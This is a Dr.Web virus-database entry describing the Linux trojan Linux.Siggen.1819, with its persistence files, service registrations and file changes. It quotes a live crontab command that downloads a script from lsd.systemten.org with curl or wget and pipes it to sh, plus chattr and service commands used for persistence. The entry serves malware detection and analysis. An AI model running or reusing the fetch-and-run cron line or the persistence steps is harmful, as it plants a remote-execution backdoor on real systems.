Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Linux.Siggen.1819
Добавлен в вирусную базу Dr.Web:
2019-06-06
Описание добавлено:
2019-06-06
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/init.d/sshservice
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop
Creates or modifies the following symlinks:
/etc/rc0.d/K01sshservice
/etc/rc1.d/K01sshservice
/etc/rc2.d/S01sshservice
/etc/rc3.d/S01sshservice
/etc/rc4.d/S01sshservice
/etc/rc5.d/S01sshservice
/etc/rc6.d/K01sshservice
Malicious functions:
Launches itself as a daemon
Manages services:
systemctl enable sshservice
/usr/sbin/update-rc.d sshservice defaults
systemctl daemon-reload
Launches processes:
/bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
crontab -
<SAMPLE_FULL_PATH> /usr/sbin/sshd
/bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
chattr -i /usr/lib/systemd/system/sshservice.service
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
/sbin/insserv sshservice
Performs operations with the file system:
Modifies file access rights:
/etc/hosts
/var/spool/cron/crontabs/tmp.7AM107
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/tmp.8P4cwm
/var/spool/cron/crontabs/tmp.01pgM5
Creates or modifies files:
/etc/hosts
/var/spool/cron/crontabs/tmp.7AM107
/var/spool/cron/root
/tmp/.XImunix
/var/spool/cron/crontabs/tmp.8P4cwm
/var/spool/cron/crontabs/tmp.01pgM5
/usr/local/sbin/sshd
/usr/lib/systemd/system/sshservice.service
Network activity:
Establishes connection:
HTTP GET requests:
DNS ASK:
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK